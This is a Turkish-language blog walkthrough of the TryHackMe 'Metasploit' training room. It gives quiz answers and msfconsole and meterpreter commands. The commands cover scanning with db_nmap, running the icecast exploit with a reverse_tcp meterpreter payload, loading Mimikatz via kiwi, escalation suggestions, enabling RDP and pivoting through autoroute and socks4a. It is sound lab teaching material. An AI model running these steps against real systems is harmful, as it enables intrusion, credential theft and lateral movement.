TryHackMe | Metasploit Oda Çözümü




Merhabalar. Bugün tryhackme platformunda bulunan “Metasploit” odasını çözeceğiz. Metasploit güvenlik testleri için geliştirilmiş olan, açık kaynak kodlu bir penetrasyon testi aracıdır. Ruby dili ile kodlanmıştır. İçerisinde iki binin üzerinde exploit vardır. Soruları gördükçe daha iyi tanıyacağız aracımızı. Hadi başlayalım!


[GÖREV 1] Giriş 



Ben işlemlerimi Kali Linux üzerinden gerçekleştireceğim. Ve Metasploit görevde de yazıldığı üzere, Kali Linux’ta kurulu olarak geliyor. Bu yüzden ekstra indirme işlemi ile uğraşmayacağız.


[GÖREV 2] Başlatılıyor…


Soru 1:

İlk önce, veritabanını başlatmamız gerekiyor! Bunu şimdi şu komutla yapalım: msfdb init 


Kali Linux’umuza gelelim ve veri tabanımızı başlatmak için msfdb init komutunu çalıştıralım.


Soru 2:



Metasploit'i başlatmadan önce, konsolu başlatmak için tetikleyebileceğimiz bazı gelişmiş seçenekleri görüntüleyebiliriz. Bunları şimdi şu komutu kullanarak kontrol edin: msfconsole -h



-h parametresini koyarak aslında kullanacağımız aracın bir nevi kılavuzunu istemiş oluyoruz. Msfconsole ile ilgili yardımımıza koşacak parametreleri burada hazır olarak görmüş oluyoruz.


Soru 3:



Metasploit konsolunu, başlığı veya herhangi bir başlangıç ​​bilgisini göstermeden komut satırından başlatabiliriz. Bu bilgiyi göstermeden başlatmak için msfconsole'a hangi anahtarı ekliyoruz? Bunu '-' içerecek.



Tam burada yardım menümüz, kılavuzumuz yardımımıza yetişiyor. Bize verilen parametlere ve anlamlarına baktığımız zaman “–q” parametresi için herhangi bir açılış afişi olmadan başlatmak için kullanıldığı yazıyor. Hemen deniyoruz.



Görüldüğü üzere herhangi açılış mesajı, açılış figürü veya başlangıç bilgisi gösterilmeden hızlıca başlatıldı.

Cevap: “-q


Soru 4:



Veritabanı başlatıldıktan sonra devam edin ve Metasploit'i şu komutla başlatın: msfconsole



Eğer böyle gösterişli bir şekilde başlatmak istersek, exploit ve payload sayısı gibi birkaç bilgi görmek istersek -q parametresine ihtiyacımız yok. :)


Soru 5:


Metasploit başladıktan sonra, devam edip veritabanına bağlandığımızı kontrol edelim. Bunu şimdi şu 
komutla yapın: db_status



Evet, “db_status” komutu ile veri tabanına bağlandık!


Soru 6:



Güzel! Veritabanına bağlandık, Metasploit 5 hangi tür veritabanı kullanıyor?



Az önce veri tabanına bağlandığımızda bağlantı türünü yazarak bize veri tabanımızın ismini söylemişti aracımız. PostgreSQL; SQL dilini destekleyen UNIX türevi tüm işletim sistemlerinde çalışan bir veri tabanı yönetim sistemidir.

Cevap: “postgresql



GÖREV [3] Komutlar


Soru 1:



Devam edelim ve yardım menüsünü keşfetmeye başlayalım. Metasploit isteminde (msfconsole kullanarak Metasploit'i başlattıktan sonra burada olacağız), şu komutu yazın: help



Help parametresini yazdığımızda karşımıza birçok komut ve anlamları çıkıyor. Bundan sonraki sorularda paylaşacağım ekran resimleri bu menüden alınmış olacaklar.


Soru 2:



Yardım menüsünde çok kısa tek karakterlik bir takma ad var, bu nedir?



Yardım menüsünü incelediğimizde bulabildiğimiz tek karakterli komut “?” oluyor. Help menüsünü msfconsole’da çağırabilmek için her defasında help yazmayıp kısaca bu soru işaretini kullanabiliriz.

Cevap: “?


Soru 3:


Metasploit içinde elimizde bulunan çeşitli modülleri bulmak, çerçevede kullanacağımız en yaygın komutlardan biridir. Arama için kullandığımız temel komut nedir?



Modül adlarını ve açıklamalarını aramak için search komutunu kullanırız.

Cevap: “search


Soru 4:



Kullanmak istediğimiz modülü bulduğumuzda, onu aktif modül olarak seçmek için hangi komutu kullanıyoruz?



Cevap: “use


SORU 5:


Peki ya belirli bir modül ya da sadece seçtiğimiz aktif olanla ilgili bilgileri görüntülemek istiyorsak?



Bu komutumuz bir veya daha fazla modül hakkındaki bilgileri görüntüler. Dolayısıyla;

Cevap: “info


Soru 6:

Metasploit, basitçe onunla 'konuşabileceğimizi' doğrulamak için ana bilgisayarla hızlı bir bağlantı kurabileceğimiz yerleşik bir netcat benzeri işleve sahiptir. Bu hangi komut?



Öncelikle soruda bahsedilen “netcat” nedir, kısaca bahsedelim. Netcat ağ bağlantıları ile ilgili birçok işlemi yapar. Netcat TCP, UDP portlarını okuyabilen ve yazabilen çok yönlü bir araçtır. Netcat ile port dinleme, port tarama, bağlantı oluşturma gibi birçok faaliyette bulunabiliriz. Connect de host ile iletişim kurmak için kullanılır.

Cevap: “connect


SORU 7:


Tamamen eğlence için kullanılan komutlardan biri, msfconsole'u başlattığımızda (-q bayrağı olmadan) gördüğümüz motd / ascii sanatını hangi komut gösteriyor?



Yardım menümüz banner için “Harika bi metasploit afişi görüntüleyin” demiş. Banner kullanarak istediğimiz kadar açılış figürleri görebiliriz. Deneyelim!



Cevap: “banner


SORU 8:

Kısa bir süre sonra bu iki komutu tekrar gözden geçireceğiz, ancak bunlar Metasploit içinde en çok kullanılan komutlardan ikisi. İlk olarak, bir değişkenin değerini değiştirmek için hangi komutu kullanıyoruz?



Belirli bir kaynağa özgü değişkeni değiştirmek için set kullanılır. 

Cevap: “set



SORU 9:

Metasploit, özellikle tek bir kutuya odaklandığınızda inanılmaz derecede yararlı olan küresel değişkenlerin kullanımını destekler. Küresel olarak bir değişkenin değerini hangi komut değiştirir?



Peki nedir bu küresel/global değişkenler? Tüm fonksiyonların dışında tanımlanan değişkenlere küresel değişkenler (global variables) denir.

Cevap: “setg



SORU 10:



Değişkenlerin değerini nasıl değiştireceğimizi öğrendiğimize göre, onları nasıl görebiliriz? Bu sorunun teknik olarak birkaç cevabı var. Ancak tek değişkenlerin değerini görüntülemek için kullanılan belirli bir üç harfli komut arıyorum.



Üç harfli bir komut diyince aklıma direk get geliyor. Msfconsoluma yazıyorum ve bana “Get komutu bir veya daha fazla değişkenin değerini almak için kullanılır diyor.” O halde;

Cevap: “get


SORU 11:

Bir değişkenin değerini null/no value (boş / değersiz) olarak değiştirmeye ne dersiniz?



Az önceki sorular arasında set cevabını vermiştik. Unset ise tam tersi oluyor. İkisini bağdaştırırsak, öğrenmemiz daha kolay olur.

Cevap: “unset


SORU 12:


Bir sızma testi gerçekleştirirken, ekranınızı daha fazla gözden geçirmek veya yapılan herhangi bir eylemin kanıtını sağlamak için kaydetmek oldukça yaygındır. Bu genellikle bir dosyaya konsol çıktısının toplanmasıyla birleştirilir, çünkü ekrana farklı bilgi parçalarını grep etmek inanılmaz derecede yararlı olabilir. Konsol çıktımızı bir dosyaya kaydetmek için hangi komutu kullanabiliriz?


Eğer metasploit odasını çözüyorsak, temel düzey Linux komutlarına aşina olmamız lazım fakat hatırlayamanlar için soruda geçen grep etmek derken belirli bir dosya içerisinde arama yapılması kastediliyor. Spool ise dosyaya yazdırmamıza yardımcı olan komuttur

Cevap: “spool


SORU 13:

Bir Metasploit konsolunu çalışır durumda bırakmak her zaman uygun değildir ve Metasploit'i başlatırken önceden ayarlanmış tüm değerlerimizin yüklenmesi faydalı olabilir. Metasploit'teki ayarları / etkin veri depolarını bir ayarlar dosyasına depolamak için hangi komutu kullanabiliriz? Bu, msf4 (veya msf5) dizininize kaydedilir ve oluşturulan ayarlar dosyasını kaldırarak kolayca geri alınabilir.



Aktif veri depolarını kaydeder.

Cevap: “save

3. Görev sadece help menüsü yardımı ile metasploit komutlarını tanımamız için geliştirilmiş. Sorularda sorulan/sorulmayan komutlarınızı kendiniz de kurcalayıp, deneyebilirsiniz. Hadi 4. Görev’e geçelim!


[GÖREV 4] Her Durum İçin Modüller!




Metasploit, içinde kullanacağınız araçların büyük bir kısmını oluşturan altı temel modülden oluşur. Çeşitli modüllere, amaçlarına ve modüller ile ilişkili bazı komutlara hızlıca bir göz atalım.



Şemayı İngilizce olduğu için anlamada zorluk çekecek arkadaşlar için başlıkların anlamlarını yazacağım.

Tools: Araçlar
Plugins: Eklentiler
Libraries: Kütüphaneler, Kitaplıklar
Interfaces: Arayüzler
Modules: Modüller

Diğer kavramları soruları cevapladıkça açıklayacağım. Çünkü sorularımız genel olarak bu şemadan sorulacak.


Soru 1:


Kolayca kullanılan en yaygın modül, kullanacağımız tüm istismar kodunu hangi modülde barındırır?

Cevap: “exploit

Exploit kelime anlamı olarak sömürmek, istismar etmek manasına gelir. İleri bölümlerde sistemdeki açığı sömürmek için kullanacağız.



Soru 2:


İstismarlarla el ele (beraber )kullanılırsa, hangi modül sömürüden sonra yürütmek üzere gönderdiğimiz çeşitli shell kodu bitlerini içerir?

Cevap: “payload



Soru 3:


Tarama ve doğrulama makinelerinde en yaygın olarak hangi modül kullanılır? Elbette bu gerçek sömürü ile aynı değil.

Cevap: ”auxiliary



Soru 4:


Sömürüden sonraki en yaygın faaliyetlerden biri looting ve pivotingdir. Bu yetenekleri hangi modül sağlar?

Cevap: “post

İpucumuzda resmin altındaki yorumda kopya verdiğini söylemiş odanın yazarı. Biraz Google ile de bulunabilirdi 😊


Soru 5:


Yük gizlemede yaygın olarak kullanılan hangi modül, istismarımızın 'görünümünü' imza algılamasını engelleyecek şekilde değiştirmemize izin verir?

Cevap: “encoder


Soru 6:

Son olarak buffer overflow ve ROP saldırıları için hangi modül kullanılır?

Cevap: "NOP"

Yeri gelmişken kısaca Buffer Overflow ve ROP saldırılarından bahsedelim. Buffer Overflow (Arabellek Taşması); bir depolama alanında tutabileceğinden daha fazla veri depolamaya çalışıldığında oluşur. ROP saldırısının açılımı ise Return-oriented programming olarak geçer. Mevcut küçük kod dizilerini yeniden kullanan bir aygıt zinciri oluşturarak rastgele istenmeyen işlemler gerçekleştirebilen istismar tekniğidir.


Soru 7:


Her modül varsayılan olarak yüklenmez, farklı modülleri yüklemek için hangi komutu kullanabiliriz?

Cevap: "load"

Tahmin edilmesi pek zor değil😊



[GÖREV 5] Hareket Ettirin Şu Shell’i!



Bu görev için makineyi dağıtmamız gerekiyor. Makineyi dağıtınca tryhackme bize makinenin IP adresini gösterecek.





Soru 1:


Metasploit, nmap çalıştırmak ve sonuçlarını doğrudan veritabanımıza aktarmak için yerleşik bir yolla birlikte gelir. Şimdi bunu 'db_nmap -sV BOX-IP' komutunu kullanarak çalıştıralım.



Cevap: Burada nmap taraması yapmamız istenmiş fakat nmap yerine db_nmap yazıyoruz. Meraklı arkadaşlarımız için arasındaki farkı açıklamak istiyorum. “db_nmap” komutunu kullandığımız zaman sonuçlar otomatik olarak host tablolarına aktarılır. Klasik nmap ile kaydettiğimizde ise sonuçları bir dosyaya kaydedip sonradan Metasploit içerisinee import etmemiz gerekir. Ayrı ayrı bu işlemleri yapmamak için kısaca db_nmap kullanıyoruz. -sV parametresi ise açık portta çalışan servisin ne olduğunu bulmaya çalışır. Dikkat! Ben burada kendi makinemin IP adresini yazdım. Tryhackme size hangi IP adresini atadıysa onu girmelisiniz.


Soru 2:


Nmap, 135 numaralı bağlantı noktasında çalışan hangi servisi tanımlar?



Cevap: “msrpc


Soru 3:


Hadi devam edelim ve veritabanında hangi bilgileri topladığımızı görelim. Şimdi msfconsole'a 'hosts' komutunu yazmayı deneyin.




Soru 4:


Veritabanından başka bir şeye ne dersiniz, şimdi 'services' komutunu deneyin.



Liste çok uzun. Kendi bilgisayarınızda deneyip detaylı inceleyebilirsiniz.


Soru 5:


Son bir şey, şimdi 'vulns' komutunu deneyin. Bu şu anda pek bir şey göstermeyecek, ancak Metasploit'in keşfedilen güvenlik açıklarını takip edeceğini belirtmek gerekir. Veritabanından hızlı ve güçlü bir şekilde yararlanmanın birçok yolundan biri.




Soru 6:


Artık kurban sistemimizi taradığımıza göre, hadi ona bir Metasploit Payload’ı ile bağlanmayı deneyelim. İlk önce, hedef payloadı aramamız gerekecek. Metasploit 5'te (yazarken kullanılan en son sürüm) basitçe 'use' yazıp ardından yalnızca hedef exploit içinde bulunan benzersiz bir dizge yazabilirsiniz. Örneğin, bunu şimdi “use icecast” komutuyla deneyin. Artık msfconsole komut isteminde görünen exploitin tam yolu nedir? * Bu, başlangıçta istismar bölümünü içerecek.



Cevap: “exploit/windows/http/icecast_header


Soru 7:


Eşsiz dizge ile komut kullanmak inanılmaz derecede faydalı olsa da, burada istediğimiz exploit tam olarak bu değil. Şimdi 'search multi/handler' komutunu çalıştıralım. Konsolun en sol tarafındaki 'Name'ın yanında görünen sütunun adı nedir? Devam edin ve ' use NUMBER_NEXT_TO exploit / multi / handler' komutunu çalıştırın, burada sayı en soldaki sütunda görünen sayı olacaktır (genellikle bu 4 veya 5 olacaktır). Bu şekilde kullanmak istediğimiz modülün tam adını / yolunu yazmadan arama sonuçlarımızı kullanabiliriz.



Cevap: Öncelikle Name’in yanında görünen sütünün adını soruyor. Bunun için “#” diyoruz ve cevabı buluyoruz fakat henüz sorunun bizden istedikleri bitmedi. Sonraki adımda multi handler komutunu 
uzun uzun yazmak yerine sadece sayı numarasını yazarak kullanmamızı istiyor. Yapalım. 





Soru 8:


Şimdi önceki sorudaki numarayı kullan. Bu, arama sonuçları tarafından döndürülen modülleri kullanmanın kısa yoludur.

(Bir önceki soruda gösterdiğim gibi.)


Soru 9:


Ardından, ' set PAYLOAD windows/meterpreter/reverse_tcp' bu komutu kullanarak payloadı ayarlayalım . Bu şekilde, exploitlerimizde kullanmak istediğimiz payloadları değiştirebiliriz. Ayrıca ' set LHOST YOUR_IP_ON_TRYHACKME ' komutunu çalıştıralım . IP adresinizi ' ip addr ' komutunu kullanarak kontrol etmeniz gerekebilir. Bu muhtemelen tun0 arayüzünüz olacaktır.



LHOST ve RHOST nedir? Lhost (local host) saldırganın IP adresi, RHOST ise hedefin, kurbanın IP adresidir.



Başka bir sekme açıp ip addr yazın ve en aşağısında bulunan inet yerindeki IP adresinizi LHOST’a atayın.


Soru 10:

Devam edelim ve önceki istismarımıza dönelim, tekrar seçmek için ` use icecast ' komutunu çalıştırın.





Soru 11:


Exploiti çalıştırmadan önce son bir adım. Metasploit'e hangi hedefe saldıracağını söylemek için ' set RHOSTS BOX_IP ' komutunu çalıştırın.



Bir önceki soruda Rhost’un hedefin IP adresi olduğunu yazmıştım. Buraya tryhackme platformunun bize verdiği ve dağıttığımız makinenin IP adresini yazıyoruz.


Soru 12:


Bu değişkenleri doğru bir şekilde ayarladıktan sonra, bunu bir iş olarak çalıştırmak için istismarı şimdi 'exploit' veya ' run -j ' komutu ile çalıştırın.





Soru 13:

Bunu başlattıktan sonra, "jobs" komutunu çalıştırarak sistemde çalışan tüm işleri kontrol edebiliriz.





Soru 14:

Bir sonraki görevde bağlantımızı kurduktan sonra, tüm oturumlarımızı "sessions" komutunu kullanarak listeleyebiliriz. Benzer şekilde, "sessions -i SESSION_NUMBER" komutunu kullanarak bir hedef oturumla etkileşim kurabiliriz.





[Görev 6] Biz Varız, Şimdi Ne Olacak?



Artık meterpreterdayız ve bu bölümü meterpreter help menüsü kullanılarak yapacağız. Devam!


Soru 1:


Öncelikle ilk olarak, ilk shell processimiz genellikle çok kararlı değildir. Devam edelim ve farklı bir processe geçmeyi deneyelim. Öncelikle 'ps' komutunu kullanarak işlemleri listeleyelim. Spool hizmetinin adı nedir?



Cevap: “spoolsv.exe

Spoolsv.exe, yazıcıların yazı tiplerini veya grafikleri çözemediği için yazdırma işlerini sistem belleğine önbelleğe alan bir işlem olan Yazdırma Biriktiricisi Hizmeti'ni çalıştıran yürütülebilir bir dosyadır.


Soru 2:

Devam edelim ve spool processe geçelim ya da en azından deneyelim! Kendimizi processe aktarmak için hangi komutu kullanıyoruz? Yeterli ayrıcalığa sahip olmadığımız için bu şu anda işe yaramayacak, ancak yine de deneyebiliriz!



Cevap: "migrate"

Meterpreter’ın help menüsünden erişebilirsiniz.


Soru 3:


Peki bu geçiş işe yaramadı, sistem hakkında biraz daha bilgi bulalım, böylece yükseltmeye çalışabiliriz. İçinde bulunduğumuz süreci çalıştıran mevcut kullanıcı hakkında daha fazla bilgi edinmek için hangi komutu çalıştırabiliriz?



Cevap: “getuid

Help menüsü ile buldum. Deneyelim.




Soru 4:


Sistemin kendisi hakkında daha fazla bilgi edinmeye ne dersiniz?



Cevap= “sysinfo

Help menüsünden buldum. Şimdi biz de deneyelim.





Soru 5:

Bu biraz Google araştırması gerektirebilir, Mimikatz'ı (daha spesifik olarak Mimikatz'ın yeni sürümü) yüklemek için ne çalıştırıyoruz ki onu kullanabiliriz?


Google’a Run mimikatz metasploit yazdım ve karşıma çıkan ilk siteye giriyorum.





Load mimikatzı komut satırına yazdığımda load kiwiyi kastedip kastetmediğimi soruyor ve böylelikle cevaba ulaşmış oluyorum.

Cevap: “load kiwi


Soru 6:


Devam edelim ve mevcut kullanıcımızın ayrıcalıklarını bulalım, hangi komutu çalıştırıyoruz?



Cevap: “getprivs

Help menüsü yardımı ile bulundu.



Soru 7:

Dosyaları kurban bilgisayarımıza aktarmak için hangi komutu çalıştırıyoruz?



Cevap: “upload"

Help menüsü ile bulundu.


Soru 8:

Bir Metasploit modülü çalıştırmak istersek nasıl olur?



Cevap: “run

Açıklamasında “Bir meterpreter komut dosyası ya da Post modülü yürüttüğü” yazıyor.


Soru 9:

Basit bir soru ama yine de oldukça gerekli, kurbanımızın ağ bilgilerini ve arayüzlerini bulmak için hangi komutu çalıştırıyoruz?



Cevap: “ipconfig”

Help menüsü ile bulundu. Ipconfig soruda da bahsedildiği gibi ağ bilgileri, arayüzleri gösteren bir komuttur.



Soru 10:


Devam edelim ve Metasploit'ten birkaç post modülü çalıştıralım. Öncelikle, run post / windows / gather / checkvm komutunu çalıştıralım. Bu, bir sanal makinede olup olmadığımızı belirleyecektir. Daha fazla özetleme için çok yararlı bir bilgi parçası.






Soru 11:


Sonra şunu deneyelim: “run post / multi / recon / local_exploit_suggester.” Bu, ayrıcalıklarımızı yükseltmek için oturumumuzda çalıştırabileceğimiz çeşitli istismarları kontrol edecektir. Bu önerileri kullanmayı denemekten çekinmeyin, ancak bunu “Ice '' odasında daha ayrıntılı olarak ele alacağız.





Soru 12:


Son olarak, RDP'yi kullanılabilir olmaya zorlamayı deneyelim. Yönetici olmadığımız için bu işe 
yaramayacak. Ancak bu, bilinmesi eğlenceli bir komut: “run post / windows / manage / enable_rdp” 



RDP açılımı Remote Desktop Protocol olan uzak masaüstü bağlantı protokolüdür.


Soru 13:


Hızlı bir ekstra soru, normal bir sistem shelli oluşturmak için meterpreter oturumumuzda hangi komutu çalıştırabiliriz?


Help menüsünde bulundu.


[Görev 7] Cisgo Gururu



Soru 1:

Devam edelim ve “run autoroute -h” komutunu çalıştırın, bu otomatik yönlendirme için yardım menüsünü açacaktır. Aşağıdaki alt ağa bir yol eklemek için hangi komutu çalıştırıyoruz: 172.18.1.0/24? Cevabınızda -n bayrağını kullanın.



Cevap: run autoroute -s 172.18.1.0 -n 255.255.255.0

Cevabınızda -n bayrağı kullanın diyor sorumuz. Verilen IP adresini Add a route (bir rota ekleyin) açıklamalı örneğe uyarlıyoruz.



Soru 2:


Ek olarak, bu oturumdan bir socks4a proxy sunucusu başlatabiliriz. Mevcut meterpreter oturumumuzun arka planını yapılandırın ve "search server / socks4a" komutunu çalıştırın. Socks4a yardımcı modülüne giden tam yol nedir?



Cevap: “auxiliary/server/socks4a” 

Multi/handler’da yaptığımız gibi verdiği komutu aratıyoruz ve ismi cevabımız oluyor.


Soru 3:


Bir socks sunucusu başlattıktan sonra /etc/proxychains.conf dosyamızı yeni sunucumuzu içerecek şekilde değiştirebiliriz. Komutlarımızın (Metasploit dışında socks4a sunucumuzda proxychains ile çalıştırılması için hangi komutun önüne ekliyoruz?



Cevap: “proxychains” 

Bugün Metasploit odasını çözmeye çalıştık. Umarım faydalı olmuştur. Kolaylıklar dilerim.

Yorum Gönder

0 Yorumlar